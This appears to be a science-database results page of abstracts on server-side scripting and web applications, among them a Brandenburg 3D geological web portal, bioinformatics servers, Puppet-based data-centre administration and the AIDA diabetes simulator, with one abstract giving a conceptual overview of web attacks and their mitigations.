The Energiewende and the increasing scarcity of raw materials will lead to an intensified utilization of the subsurface in Germany. Within this context, geological 3D modeling is a fundamental approach for integrated decision and planning processes. Initiated by the development of the European Geospatial Infrastructure INSPIRE, the German State Geological Offices started digitizing their predominantly analog archive inventory. Until now, a comprehensive 3D subsurface model of Brandenburg did not exist. Therefore the project B3D strived to develop a new 3D model as well as a subsequent infrastructure node to integrate all geological and spatial data within the Geodaten-Infrastruktur Brandenburg (Geospatial Infrastructure, GDI-BB) and provide it to the public through an interactive 2D/3D web application. The functionality of the web application is based on a client-server architecture. Server-sided, all available spatial data is published through GeoServer. GeoServer is designed for interoperability and acts as the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) standard that provides the interface that allows requests for geographical features. In addition, GeoServer implements, among others, the high performance certified compliant Web Map Service (WMS) that serves geo-referenced map images. For publishing 3D data, the OGC Web 3D Service (W3DS), a portrayal service for three-dimensional geo-data, is used. The W3DS displays elements representing the geometry, appearance, and behavior of geographic objects. On the client side, the web application is solely based on Free and Open Source Software and leans on the JavaScript API WebGL that allows the interactive rendering of 2D and 3D graphics by means of GPU accelerated usage of physics and image processing as part of the web page canvas without the use of plug-ins. WebGL is supported by most web browsers (e.g., Google Chrome, Mozilla Firefox, Safari, and Opera). The web application enables an intuitive navigation through all available information and allows the visualization of geological maps (2D), seismic transects (2D/3D), wells (2D/3D), and the 3D-model. These achievements will alleviate spatial and geological data management within the German State Geological Offices and foster the interoperability of heterogeneous systems. It will provide guidance to a systematic subsurface management across system, domain and administrative boundaries on the basis of a federated spatial data infrastructure, and include the public in the decision processes (e-Governance). Yet, the interoperability of the systems has to be strongly propelled forward through agreements on standards that need to be decided upon in responsible committees. The project B3D is funded with resources from the European Fund for Regional Development (EFRE).

Accountable Information Flow for Java-Based Web Applications

DTIC Science & Technology

2010-01-01

runtime library Swift server runtime Java servlet framework HTTP Web server Web browser Figure 2: The Swift architecture introduced an open-ended...On the server, the Java application code links against Swift’s server-side run-time library, which in turn sits on top of the standard Java servlet ...AFRL-RI-RS-TR-2010-9 Final Technical Report January 2010 ACCOUNTABLE INFORMATION FLOW FOR JAVA -BASED WEB APPLICATIONS

IMAAAGINE: a webserver for searching hypothetical 3D amino acid side chain arrangements in the Protein Data Bank

PubMed Central

Nadzirin, Nurul; Willett, Peter; Artymiuk, Peter J.; Firdaus-Raih, Mohd

2013-01-01

We describe a server that allows the interrogation of the Protein Data Bank for hypothetical 3D side chain patterns that are not limited to known patterns from existing 3D structures. A minimal side chain description allows a variety of side chain orientations to exist within the pattern, and generic side chain types such as acid, base and hydroxyl-containing can be additionally deployed in the search query. Moreover, only a subset of distances between the side chains need be specified. We illustrate these capabilities in case studies involving arginine stacks, serine-acid group arrangements and multiple catalytic triad-like configurations. The IMAAAGINE server can be accessed at http://mfrlab.org/grafss/imaaagine/. PMID:23716645

Ultrabroadband photonic internet: safety aspects

NASA Astrophysics Data System (ADS)

Kalicki, Arkadiusz; Romaniuk, Ryszard

2008-11-01

Web applications became most popular medium in the Internet. Popularity, easiness of web application frameworks together with careless development results in high number of vulnerabilities and attacks. There are several types of attacks possible because of improper input validation. SQL injection is ability to execute arbitrary SQL queries in a database through an existing application. Cross-site scripting is the vulnerability which allows malicious web users to inject code into the web pages viewed by other users. Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains malicious request. Web spam in blogs. There are several techniques to mitigate attacks. Most important are web application strong design, correct input validation, defined data types for each field and parameterized statements in SQL queries. Server hardening with firewall, modern security policies systems and safe web framework interpreter configuration are essential. It is advised to keep proper security level on client side, keep updated software and install personal web firewalls or IDS/IPS systems. Good habits are logging out from services just after finishing work and using even separate web browser for most important sites, like e-banking.

[Development of quality assurance/quality control web system in radiotherapy].

PubMed

Okamoto, Hiroyuki; Mochizuki, Toshihiko; Yokoyama, Kazutoshi; Wakita, Akihisa; Nakamura, Satoshi; Ueki, Heihachi; Shiozawa, Keiko; Sasaki, Koji; Fuse, Masashi; Abe, Yoshihisa; Itami, Jun

2013-12-01

Our purpose is to develop a QA/QC (quality assurance/quality control) web system using a server-side script language such as HTML (HyperText Markup Language) and PHP (Hypertext Preprocessor), which can be useful as a tool to share information about QA/QC in radiotherapy. The system proposed in this study can be easily built in one's own institute, because HTML can be easily handled. There are two desired functions in a QA/QC web system: (i) To review the results of QA/QC for a radiotherapy machine, manuals, and reports necessary for routinely performing radiotherapy through this system. By disclosing the results, transparency can be maintained, (ii) To reveal a protocol for QA/QC in one's own institute using pictures and movies relating to QA/QC for simplicity's sake, which can also be used as an educational tool for junior radiation technologists and medical physicists. By using this system, not only administrators, but also all staff involved in radiotherapy, can obtain information about the conditions and accuracy of treatment machines through the QA/QC web system.

Design of a Golf Swing Injury Detection and Evaluation open service platform with Ontology-oriented clustering case-based reasoning mechanism.

PubMed

Ku, Hao-Hsiang

2015-01-01

Nowadays, people can easily use a smartphone to get wanted information and requested services. Hence, this study designs and proposes a Golf Swing Injury Detection and Evaluation open service platform with Ontology-oritened clustering case-based reasoning mechanism, which is called GoSIDE, based on Arduino and Open Service Gateway initative (OSGi). GoSIDE is a three-tier architecture, which is composed of Mobile Users, Application Servers and a Cloud-based Digital Convergence Server. A mobile user is with a smartphone and Kinect sensors to detect the user's Golf swing actions and to interact with iDTV. An application server is with Intelligent Golf Swing Posture Analysis Model (iGoSPAM) to check a user's Golf swing actions and to alter this user when he is with error actions. Cloud-based Digital Convergence Server is with Ontology-oriented Clustering Case-based Reasoning (CBR) for Quality of Experiences (OCC4QoE), which is designed to provide QoE services by QoE-based Ontology strategies, rules and events for this user. Furthermore, GoSIDE will automatically trigger OCC4QoE and deliver popular rules for a new user. Experiment results illustrate that GoSIDE can provide appropriate detections for Golfers. Finally, GoSIDE can be a reference model for researchers and engineers.

Tracking Student Progress Through an On-Line Astro101 Module

NASA Astrophysics Data System (ADS)

Howard, W. H., II; Hufnagel, B.

2004-05-01

We present an on-line module that helps introductory-level, non-science undergraduates extract information about neutron star binary star systems from X-ray light curves. The students interface directly with the High Energy Astrophysics Science Archive Research Center (HEASARC) data through CollegeHera. Hera is a new service offered by HEASARC that enables complete interactive analysis of archived data products (see the separate Lochner & Pence paper this meeting). One of the innovative features of this module is that it records detailed student progress and automatically reports this to the professor. As the student moves through the module, student answers to multiple choice and free response questions are recorded in a personal file on the server. This is an authenticated process. The student must fill out a registration form that includes their name, course, email, professor, and professor's email. This creates a session cookie for the student that stores the unique ID given to the user by the server. In turn, the unique ID is linked to the one file that records the student's responses. When the module is completed, a brief confirmation email is sent to the student, excluding the student's unique answers to discourage sharing with other students. Simultaneously, the professor entered during the registration receives an email with the student responses and their time of entry. PERL is used for all server-side programming, and form validation functions were written in JavaScript. A laptop with internet access will be available at the poster for participants to explore the module. Learning goals and other education information for the module are at a related paper in this meeting, Hufnagel, Lochner & Howard. This module required extensive cooperation with the Hera team, and was based on a module developed by James Lochner. Irina Nelson, formerly of the Office of University Programs at GSFC, conceived the overall project. Support for this work was provided by the Southeast Regional Clearinghouse (SERCH) and the Maryland Space Grant Consortium.

Network Security Visualization

DTIC Science & Technology

1999-09-27

performing SQL generation and result-set binding, inserting acquired security events into the database and gathering the requested data for Console scene...objects is also auto-generated by a VBA script. Built into the auto-generated table access objects are the preferred join paths between tables. This...much of the Server itself) never have to deal with SQL directly. This is one aspect of laying the groundwork for supporting RDBMSs from multiple vendors

On-line classification of pollutants in water using wireless portable electronic noses.

PubMed

Herrero, José Luis; Lozano, Jesús; Santos, José Pedro; Suárez, José Ignacio

2016-06-01

A portable electronic nose with database connection for on-line classification of pollutants in water is presented in this paper. It is a hand-held, lightweight and powered instrument with wireless communications capable of standalone operation. A network of similar devices can be configured for distributed measurements. It uses four resistive microsensors and headspace as sampling method for extracting the volatile compounds from glass vials. The measurement and control program has been developed in LabVIEW using the database connection toolkit to send the sensors data to a server for training and classification with Artificial Neural Networks (ANNs). The use of a server instead of the microprocessor of the e-nose increases the capacity of memory and the computing power of the classifier and allows external users to perform data classification. To address this challenge, this paper also proposes a web-based framework (based on RESTFul web services, Asynchronous JavaScript and XML and JavaScript Object Notation) that allows remote users to train ANNs and request classification values regardless user's location and the type of device used. Results show that the proposed prototype can discriminate the samples measured (Blank water, acetone, toluene, ammonia, formaldehyde, hydrogen peroxide, ethanol, benzene, dichloromethane, acetic acid, xylene and dimethylacetamide) with a 94% classification success rate. Copyright © 2016 Elsevier Ltd. All rights reserved.

ATLAS TDAQ System Administration: Master of Puppets

NASA Astrophysics Data System (ADS)

Ballestrero, S.; Brasolin, F.; Fazio, D.; Gament, C.; Lee, C. J.; Scannicchio, D. A.; Twomey, M. S.

2017-10-01

Within the ATLAS detector, the Trigger and Data Acquisition system is responsible for the online processing of data streamed from the detector during collisions at the Large Hadron Collider at CERN. The online farm is comprised of ∼4000 servers processing the data read out from ∼100 million detector channels through multiple trigger levels. The configurtion of these servers is not an easy task, especially since the detector itself is made up of multiple different sub-detectors, each with their own particular requirements. The previous method of configuring these servers, using Quattor and a hierarchical scripts system was cumbersome and restrictive. A better, unified system was therefore required to simplify the tasks of the TDAQ Systems Administrators, for both the local and net-booted systems, and to be able to fulfil the requirements of TDAQ, Detector Control Systems and the sub-detectors groups. Various configuration management systems were evaluated, though in the end, Puppet was chosen as the application of choice and was the first such implementation at CERN.

Centralized Fabric Management Using Puppet, Git, and GLPI

NASA Astrophysics Data System (ADS)

Smith, Jason A.; De Stefano, John S., Jr.; Fetzko, John; Hollowell, Christopher; Ito, Hironori; Karasawa, Mizuki; Pryor, James; Rao, Tejas; Strecker-Kellogg, William

2012-12-01

Managing the infrastructure of a large and complex data center can be extremely difficult without taking advantage of recent technological advances in administrative automation. Puppet is a seasoned open-source tool that is designed for enterprise class centralized configuration management. At the RHIC and ATLAS Computing Facility (RACF) at Brookhaven National Laboratory, we use Puppet along with Git, GLPI, and some custom scripts as part of our centralized configuration management system. In this paper, we discuss how we use these tools for centralized configuration management of our servers and services, change management requiring authorized approval of production changes, a complete version controlled history of all changes made, separation of production, testing and development systems using puppet environments, semi-automated server inventory using GLPI, and configuration change monitoring and reporting using the Puppet dashboard. We will also discuss scalability and performance results from using these tools on a 2,000+ node cluster and 400+ infrastructure servers with an administrative staff of approximately 25 full-time employees (FTEs).

An open source Java web application to build self-contained Web GIS sites

NASA Astrophysics Data System (ADS)

Zavala Romero, O.; Ahmed, A.; Chassignet, E.; Zavala-Hidalgo, J.

2014-12-01

This work describes OWGIS, an open source Java web application that creates Web GIS sites by automatically writing HTML and JavaScript code. OWGIS is configured by XML files that define which layers (geographic datasets) will be displayed on the websites. This project uses several Open Geospatial Consortium standards to request data from typical map servers, such as GeoServer, and is also able to request data from ncWMS servers. The latter allows for the displaying of 4D data stored using the NetCDF file format (widely used for storing environmental model datasets). Some of the features available on the sites built with OWGIS are: multiple languages, animations, vertical profiles and vertical transects, color palettes, color ranges, and the ability to download data. OWGIS main users are scientists, such as oceanographers or climate scientists, who store their data in NetCDF files and want to analyze, visualize, share, or compare their data using a website.

Switching the JLab Accelerator Operations Environment from an HP-UX Unix-based to a PC/Linux-based environment

DOE Office of Scientific and Technical Information (OSTI.GOV)

Mcguckin, Theodore

2008-10-01

The Jefferson Lab Accelerator Controls Environment (ACE) was predominantly based on the HP-UX Unix platform from 1987 through the summer of 2004. During this period the Accelerator Machine Control Center (MCC) underwent a major renovation which included introducing Redhat Enterprise Linux machines, first as specialized process servers and then gradually as general login servers. As computer programs and scripts required to run the accelerator were modified, and inherent problems with the HP-UX platform compounded, more development tools became available for use with Linux and the MCC began to be converted over. In May 2008 the last HP-UX Unix login machinemore » was removed from the MCC, leaving only a few Unix-based remote-login servers still available. This presentation will explore the process of converting an operational Control Room environment from the HP-UX to Linux platform as well as the many hurdles that had to be overcome throughout the transition period (including a discussion of« less

The SubCons webserver: A user friendly web interface for state-of-the-art subcellular localization prediction.

PubMed

Salvatore, M; Shu, N; Elofsson, A

2018-01-01

SubCons is a recently developed method that predicts the subcellular localization of a protein. It combines predictions from four predictors using a Random Forest classifier. Here, we present the user-friendly web-interface implementation of SubCons. Starting from a protein sequence, the server rapidly predicts the subcellular localizations of an individual protein. In addition, the server accepts the submission of sets of proteins either by uploading the files or programmatically by using command line WSDL API scripts. This makes SubCons ideal for proteome wide analyses allowing the user to scan a whole proteome in few days. From the web page, it is also possible to download precalculated predictions for several eukaryotic organisms. To evaluate the performance of SubCons we present a benchmark of LocTree3 and SubCons using two recent mass-spectrometry based datasets of mouse and drosophila proteins. The server is available at http://subcons.bioinfo.se/. © 2017 The Protein Society.

Using a Java Web-based Graphical User Interface to access the SOHO Data Arch ive

NASA Astrophysics Data System (ADS)

Scholl, I.; Girard, Y.; Bykowski, A.

This paper presents the architecture of a Java web-based graphical interface dedicated to the access of the SOHO Data archive. This application allows local and remote users to search in the SOHO data catalog and retrieve the SOHO data files from the archive. It has been developed at MEDOC (Multi-Experiment Data and Operations Centre), located at the Institut d'Astrophysique Spatiale (Orsay, France), which is one of the European Archives for the SOHO data. This development is part of a joint effort between ESA, NASA and IAS in order to implement long term archive systems for the SOHO data. The software architecture is built as a client-server application using Java language and SQL above a set of components such as an HTTP server, a JDBC gateway, a RDBMS server, a data server and a Web browser. Since HTML pages and CGI scripts are not powerful enough to allow user interaction during a multi-instrument catalog search, this type of requirement enforces the choice of Java as the main language. We also discuss performance issues, security problems and portability on different Web browsers and operating syste ms.

A radiology department intranet: development and applications.

PubMed

Willing, S J; Berland, L L

1999-01-01

An intranet is a "private Internet" that uses the protocols of the World Wide Web to share information resources within a company or with the company's business partners and clients. The hardware requirements for an intranet begin with a dedicated Web server permanently connected to the departmental network. The heart of a Web server is the hypertext transfer protocol (HTTP) service, which receives a page request from a client's browser and transmits the page back to the client. Although knowledge of hypertext markup language (HTML) is not essential for authoring a Web page, a working familiarity with HTML is useful, as is knowledge of programming and database management. Security can be ensured by using scripts to write information in hidden fields or by means of "cookies." Interfacing databases and database management systems with the Web server and conforming the user interface to HTML syntax can be achieved by means of the common gateway interface (CGI), Active Server Pages (ASP), or other methods. An intranet in a radiology department could include the following types of content: on-call schedules, work schedules and a calendar, a personnel directory, resident resources, memorandums and discussion groups, software for a radiology information system, and databases.

Web-based access to near real-time and archived high-density time-series data: cyber infrastructure challenges & developments in the open-source Waveform Server

NASA Astrophysics Data System (ADS)

Reyes, J. C.; Vernon, F. L.; Newman, R. L.; Steidl, J. H.

2010-12-01

The Waveform Server is an interactive web-based interface to multi-station, multi-sensor and multi-channel high-density time-series data stored in Center for Seismic Studies (CSS) 3.0 schema relational databases (Newman et al., 2009). In the last twelve months, based on expanded specifications and current user feedback, both the server-side infrastructure and client-side interface have been extensively rewritten. The Python Twisted server-side code-base has been fundamentally modified to now present waveform data stored in cluster-based databases using a multi-threaded architecture, in addition to supporting the pre-existing single database model. This allows interactive web-based access to high-density (broadband @ 40Hz to strong motion @ 200Hz) waveform data that can span multiple years; the common lifetime of broadband seismic networks. The client-side interface expands on it's use of simple JSON-based AJAX queries to now incorporate a variety of User Interface (UI) improvements including standardized calendars for defining time ranges, applying on-the-fly data calibration to display SI-unit data, and increased rendering speed. This presentation will outline the various cyber infrastructure challenges we have faced while developing this application, the use-cases currently in existence, and the limitations of web-based application development.

ChemCalc: a building block for tomorrow's chemical infrastructure.

PubMed

Patiny, Luc; Borel, Alain

2013-05-24

Web services, as an aspect of cloud computing, are becoming an important part of the general IT infrastructure, and scientific computing is no exception to this trend. We propose a simple approach to develop chemical Web services, through which servers could expose the essential data manipulation functionality that students and researchers need for chemical calculations. These services return their results as JSON (JavaScript Object Notation) objects, which facilitates their use for Web applications. The ChemCalc project http://www.chemcalc.org demonstrates this approach: we present three Web services related with mass spectrometry, namely isotopic distribution simulation, peptide fragmentation simulation, and molecular formula determination. We also developed a complete Web application based on these three Web services, taking advantage of modern HTML5 and JavaScript libraries (ChemDoodle and jQuery).

Docker Container Manager: A Simple Toolkit for Isolated Work with Shared Computational, Storage, and Network Resources

NASA Astrophysics Data System (ADS)

Polyakov, S. P.; Kryukov, A. P.; Demichev, A. P.

2018-01-01

We present a simple set of command line interface tools called Docker Container Manager (DCM) that allow users to create and manage Docker containers with preconfigured SSH access while keeping the users isolated from each other and restricting their access to the Docker features that could potentially disrupt the work of the server. Users can access DCM server via SSH and are automatically redirected to DCM interface tool. From there, they can create new containers, stop, restart, pause, unpause, and remove containers and view the status of the existing containers. By default, the containers are also accessible via SSH using the same private key(s) but through different server ports. Additional publicly available ports can be mapped to the respective ports of a container, allowing for some network services to be run within it. The containers are started from read-only filesystem images. Some initial images must be provided by the DCM server administrators, and after containers are configured to meet one’s needs, the changes can be saved as new images. Users can see the available images and remove their own images. DCM server administrators are provided with commands to create and delete users. All commands were implemented as Python scripts. The tools allow to deploy and debug medium-sized distributed systems for simulation in different fields on one or several local computers.

Pyrame 3, an online framework for Calice SiW-Ecal

NASA Astrophysics Data System (ADS)

Magniette, F.; Irles, A.

2018-03-01

Pyrame 3 is the new version of the Pyrame framework [1], with emphasize on the online data treatment and the complex tasks scripting. A new mechanism has been implemented to allow any module to treat and publish data in real time. Those data are made available to any requesting module. A circular buffer mechanism allows to break the real-time constraint and to serve the slower programs in a generic subsampling way. On the other side, a programming facility called event-loop has been provided in C/C++ language to ease the development of monitoring programs. On the SiW-Ecal prototype, the acquisition chain launches a bunch of online decoders that makes available raw data plus some basic reconstruction data (true coordinate, true time, data quality tags\\ldots). With the event-loop, it is now really very easy to implement new online monitoring programs. On the other side, the scripting mechanism has been enhanced to provide complete control of the detector to the scripts. This way, we are able to script and monitor complex behaviours like position or energy scanning, calibrations or data driven reconfigurations.

ORBIT: an integrated environment for user-customized bioinformatics tools.

PubMed

Bellgard, M I; Hiew, H L; Hunter, A; Wiebrands, M

1999-10-01

There are a large number of computational programs freely available to bioinformaticians via a client/server, web-based environment. However, the client interface to these tools (typically an html form page) cannot be customized from the client side as it is created by the service provider. The form page is usually generic enough to cater for a wide range of users. However, this implies that a user cannot set as 'default' advanced program parameters on the form or even customize the interface to his/her specific requirements or preferences. Currently, there is a lack of end-user interface environments that can be modified by the user when accessing computer programs available on a remote server running on an intranet or over the Internet. We have implemented a client/server system called ORBIT (Online Researcher's Bioinformatics Interface Tools) where individual clients can have interfaces created and customized to command-line-driven, server-side programs. Thus, Internet-based interfaces can be tailored to a user's specific bioinformatic needs. As interfaces are created on the client machine independent of the server, there can be different interfaces to the same server-side program to cater for different parameter settings. The interface customization is relatively quick (between 10 and 60 min) and all client interfaces are integrated into a single modular environment which will run on any computer platform supporting Java. The system has been developed to allow for a number of future enhancements and features. ORBIT represents an important advance in the way researchers gain access to bioinformatics tools on the Internet.

NMRPro: an integrated web component for interactive processing and visualization of NMR spectra.

PubMed

Mohamed, Ahmed; Nguyen, Canh Hao; Mamitsuka, Hiroshi

2016-07-01

The popularity of using NMR spectroscopy in metabolomics and natural products has driven the development of an array of NMR spectral analysis tools and databases. Particularly, web applications are well used recently because they are platform-independent and easy to extend through reusable web components. Currently available web applications provide the analysis of NMR spectra. However, they still lack the necessary processing and interactive visualization functionalities. To overcome these limitations, we present NMRPro, a web component that can be easily incorporated into current web applications, enabling easy-to-use online interactive processing and visualization. NMRPro integrates server-side processing with client-side interactive visualization through three parts: a python package to efficiently process large NMR datasets on the server-side, a Django App managing server-client interaction, and SpecdrawJS for client-side interactive visualization. Demo and installation instructions are available at http://mamitsukalab.org/tools/nmrpro/ mohamed@kuicr.kyoto-u.ac.jp Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Concussion: Doug Flutie: "Be on the Safe Side."

MedlinePlus

... of this page please turn JavaScript on. Feature: Concussion Doug Flutie: "Be on the Safe Side." Past ... for NBC Sports. Flutie is often asked about concussions and brain trauma associated with sports like football, ...

Automation of the CFD Process on Distributed Computing Systems

NASA Technical Reports Server (NTRS)

Tejnil, Ed; Gee, Ken; Rizk, Yehia M.

2000-01-01

A script system was developed to automate and streamline portions of the CFD process. The system was designed to facilitate the use of CFD flow solvers on supercomputer and workstation platforms within a parametric design event. Integrating solver pre- and postprocessing phases, the fully automated ADTT script system marshalled the required input data, submitted the jobs to available computational resources, and processed the resulting output data. A number of codes were incorporated into the script system, which itself was part of a larger integrated design environment software package. The IDE and scripts were used in a design event involving a wind tunnel test. This experience highlighted the need for efficient data and resource management in all parts of the CFD process. To facilitate the use of CFD methods to perform parametric design studies, the script system was developed using UNIX shell and Perl languages. The goal of the work was to minimize the user interaction required to generate the data necessary to fill a parametric design space. The scripts wrote out the required input files for the user-specified flow solver, transferred all necessary input files to the computational resource, submitted and tracked the jobs using the resource queuing structure, and retrieved and post-processed the resulting dataset. For computational resources that did not run queueing software, the script system established its own simple first-in-first-out queueing structure to manage the workload. A variety of flow solvers were incorporated in the script system, including INS2D, PMARC, TIGER and GASP. Adapting the script system to a new flow solver was made easier through the use of object-oriented programming methods. The script system was incorporated into an ADTT integrated design environment and evaluated as part of a wind tunnel experiment. The system successfully generated the data required to fill the desired parametric design space. This stressed the computational resources required to compute and store the information. The scripts were continually modified to improve the utilization of the computational resources and reduce the likelihood of data loss due to failures. An ad-hoc file server was created to manage the large amount of data being generated as part of the design event. Files were stored and retrieved as needed to create new jobs and analyze the results. Additional information is contained in the original.

Quantifying Uncertainty in Expert Judgment: Initial Results

DTIC Science & Technology

2013-03-01

lines of source code were added in . ---------- C++ = 32%; JavaScript = 29%; XML = 15%; C = 7%; CSS = 7%; Java = 5%; Oth- er = 5% LOC = 927,266...much total effort in person years has been spent on this project? CMU/SEI-2013-TR-001 | 33 5 MySQL , the most popular Open Source SQL...as MySQL , Oracle, PostgreSQL, MS SQL Server, ODBC, or Interbase. Features include email reminders, iCal/vCal import/export, re- mote subscriptions

Teachers become Zombies: The Ugly Side of Scripted Reading Curriculum

ERIC Educational Resources Information Center

Demko, Maura

2010-01-01

A brief history of NCLB and the resultant scripted reading programs shows how hollow these fixes are when you eliminate teacher responsibility, professional judgment, and flexibility. The authors caution, "In some cases, we do think that these programs can be successful, but only if the teacher has the power as an educator to adjust the…

Dynamic Interactive Educational Diabetes Simulations Using the World Wide Web: An Experience of More Than 15 Years with AIDA Online

PubMed Central

Lehmann, Eldon D.; DeWolf, Dennis K.; Novotny, Christopher A.; Reed, Karen; Gotwals, Robert R.

2014-01-01

Background. AIDA is a widely available downloadable educational simulator of glucose-insulin interaction in diabetes. Methods. A web-based version of AIDA was developed that utilises a server-based architecture with HTML FORM commands to submit numerical data from a web-browser client to a remote web server. AIDA online, located on a remote server, passes the received data through Perl scripts which interactively produce 24 hr insulin and glucose simulations. Results. AIDA online allows users to modify the insulin regimen and diet of 40 different prestored “virtual diabetic patients” on the internet or create new “patients” with user-generated regimens. Multiple simulations can be run, with graphical results viewed via a standard web-browser window. To date, over 637,500 diabetes simulations have been run at AIDA online, from all over the world. Conclusions. AIDA online's functionality is similar to the downloadable AIDA program, but the mode of implementation and usage is different. An advantage to utilising a server-based application is the flexibility that can be offered. New modules can be added quickly to the online simulator. This has facilitated the development of refinements to AIDA online, which have instantaneously become available around the world, with no further local downloads or installations being required. PMID:24511312

Dynamic Interactive Educational Diabetes Simulations Using the World Wide Web: An Experience of More Than 15 Years with AIDA Online.

PubMed

Lehmann, Eldon D; Dewolf, Dennis K; Novotny, Christopher A; Reed, Karen; Gotwals, Robert R

2014-01-01

Background. AIDA is a widely available downloadable educational simulator of glucose-insulin interaction in diabetes. Methods. A web-based version of AIDA was developed that utilises a server-based architecture with HTML FORM commands to submit numerical data from a web-browser client to a remote web server. AIDA online, located on a remote server, passes the received data through Perl scripts which interactively produce 24 hr insulin and glucose simulations. Results. AIDA online allows users to modify the insulin regimen and diet of 40 different prestored "virtual diabetic patients" on the internet or create new "patients" with user-generated regimens. Multiple simulations can be run, with graphical results viewed via a standard web-browser window. To date, over 637,500 diabetes simulations have been run at AIDA online, from all over the world. Conclusions. AIDA online's functionality is similar to the downloadable AIDA program, but the mode of implementation and usage is different. An advantage to utilising a server-based application is the flexibility that can be offered. New modules can be added quickly to the online simulator. This has facilitated the development of refinements to AIDA online, which have instantaneously become available around the world, with no further local downloads or installations being required.

The Other Side of Discovery.

ERIC Educational Resources Information Center

Salter, Christopher L.

1992-01-01

Presents the script of the drama, "The Other Side of Discovery," concerning the effects of Columbus' arrival in the Americas. Offers the story in the "Readers' Theater" style, featuring dramatic readings by three actors but no stage movements. (SG)

Owgis 2.0: Open Source Java Application that Builds Web GIS Interfaces for Desktop Andmobile Devices

NASA Astrophysics Data System (ADS)

Zavala Romero, O.; Chassignet, E.; Zavala-Hidalgo, J.; Pandav, H.; Velissariou, P.; Meyer-Baese, A.

2016-12-01

OWGIS is an open source Java and JavaScript application that builds easily configurable Web GIS sites for desktop and mobile devices. The current version of OWGIS generates mobile interfaces based on HTML5 technology and can be used to create mobile applications. The style of the generated websites can be modified using COMPASS, a well known CSS Authoring Framework. In addition, OWGIS uses several Open Geospatial Consortium standards to request datafrom the most common map servers, such as GeoServer. It is also able to request data from ncWMS servers, allowing the websites to display 4D data from NetCDF files. This application is configured by XML files that define which layers, geographic datasets, are displayed on the Web GIS sites. Among other features, OWGIS allows for animations; streamlines from vector data; virtual globe display; vertical profiles and vertical transects; different color palettes; the ability to download data; and display text in multiple languages. OWGIS users are mainly scientists in the oceanography, meteorology and climate fields.

VizPrimer: a web server for visualized PCR primer design based on known gene structure.

PubMed

Zhou, Yang; Qu, Wubin; Lu, Yiming; Zhang, Yanchun; Wang, Xiaolei; Zhao, Dongsheng; Yang, Yi; Zhang, Chenggang

2011-12-15

The visualization of gene structure plays an important role in polymerase chain reaction (PCR) primer design, especially for eukaryotic genes with a number of splice variants that users need to distinguish between via PCR. Here, we describe a visualized web server for primer design named VizPrimer. It utilizes the new information technology (IT) tools, HTML5 to display gene structure and JavaScript to interact with the users. In VizPrimer, the users can focus their attention on the gene structure and primer design strategy, without wasting time calculating the exon positions of splice variants or manually configuring complicated parameters. In addition, VizPrimer is also suitable for the design of PCR primers for amplifying open reading frames and detecting single nucleotide polymorphisms (SNPs). VizPrimer is freely available at http://biocompute.bmi.ac.cn/CZlab/VizPrimer/. The web server supported browsers: Chrome (≥5.0), Firefox (≥3.0), Safari (≥4.0) and Opera (≥10.0). zhangcg@bmi.ac.cn; yangyi528@vip.sina.com.

Visualization of N-body Simulations in Virtual Worlds

NASA Astrophysics Data System (ADS)

Knop, Robert A.; Ames, J.; Djorgovski, G.; Farr, W.; Hut, P.; Johnson, A.; McMillan, S.; Nakasone, A.; Vesperini, E.

2010-01-01

We report on work to use virtual worlds for visualizing the results of N-body calculations, on three levels. First, we have written a demonstration 3-body solver entirely in the scripting language of the popularly used virtual world Second Life. Second, we have written a physics module for the open source virtual world OpenSim that performs N-body calculations as the physics engine for the server, allowing natural 3-d visualization of the solution as the solution is being performed. Finally, we give an initial report on the potential use of virtual worlds to visualize calculations which have previously been performed, or which are being performed in other processes and reported to the virtual world server. This work has been performed as part of the Meta-Institute of Computational Astrophysics (MICA). http://www.mica-vw.org

Graph and Network for Model Elicitation (GNOME Phase 2)

DTIC Science & Technology

2013-02-01

10 3.3 GNOME UI Components for NOEM Web Client...20 Figure 17: Sampling in Web -client...the web -client). The server-side service can run and generate data asynchronously, allowing a cluster of servers to run the sampling. Also, a

Template-free modeling by LEE and LEER in CASP11.

PubMed

Joung, InSuk; Lee, Sun Young; Cheng, Qianyi; Kim, Jong Yun; Joo, Keehyoung; Lee, Sung Jong; Lee, Jooyoung

2016-09-01

For the template-free modeling of human targets of CASP11, we utilized two of our modeling protocols, LEE and LEER. The LEE protocol took CASP11-released server models as the input and used some of them as templates for 3D (three-dimensional) modeling. The template selection procedure was based on the clustering of the server models aided by a community detection method of a server-model network. Restraining energy terms generated from the selected templates together with physical and statistical energy terms were used to build 3D models. Side-chains of the 3D models were rebuilt using target-specific consensus side-chain library along with the SCWRL4 rotamer library, which completed the LEE protocol. The first success factor of the LEE protocol was due to efficient server model screening. The average backbone accuracy of selected server models was similar to that of top 30% server models. The second factor was that a proper energy function along with our optimization method guided us, so that we successfully generated better quality models than the input template models. In 10 out of 24 cases, better backbone structures than the best of input template structures were generated. LEE models were further refined by performing restrained molecular dynamics simulations to generate LEER models. CASP11 results indicate that LEE models were better than the average template models in terms of both backbone structures and side-chain orientations. LEER models were of improved physical realism and stereo-chemistry compared to LEE models, and they were comparable to LEE models in the backbone accuracy. Proteins 2016; 84(Suppl 1):118-130. © 2015 Wiley Periodicals, Inc. © 2015 Wiley Periodicals, Inc.

CProb: a computational tool for conducting conditional probability analysis.

PubMed

Hollister, Jeffrey W; Walker, Henry A; Paul, John F

2008-01-01

Conditional probability is the probability of observing one event given that another event has occurred. In an environmental context, conditional probability helps to assess the association between an environmental contaminant (i.e., the stressor) and the ecological condition of a resource (i.e., the response). These analyses, when combined with controlled experiments and other methodologies, show great promise in evaluating ecological conditions from observational data and in defining water quality and other environmental criteria. Current applications of conditional probability analysis (CPA) are largely done via scripts or cumbersome spreadsheet routines, which may prove daunting to end-users and do not provide access to the underlying scripts. Combining spreadsheets with scripts eases computation through a familiar interface (i.e., Microsoft Excel) and creates a transparent process through full accessibility to the scripts. With this in mind, we developed a software application, CProb, as an Add-in for Microsoft Excel with R, R(D)com Server, and Visual Basic for Applications. CProb calculates and plots scatterplots, empirical cumulative distribution functions, and conditional probability. In this short communication, we describe CPA, our motivation for developing a CPA tool, and our implementation of CPA as a Microsoft Excel Add-in. Further, we illustrate the use of our software with two examples: a water quality example and a landscape example. CProb is freely available for download at http://www.epa.gov/emap/nca/html/regions/cprob.

OpenGl Visualization Tool and Library Version: 1.0

DOE Office of Scientific and Technical Information (OSTI.GOV)

2010-06-22

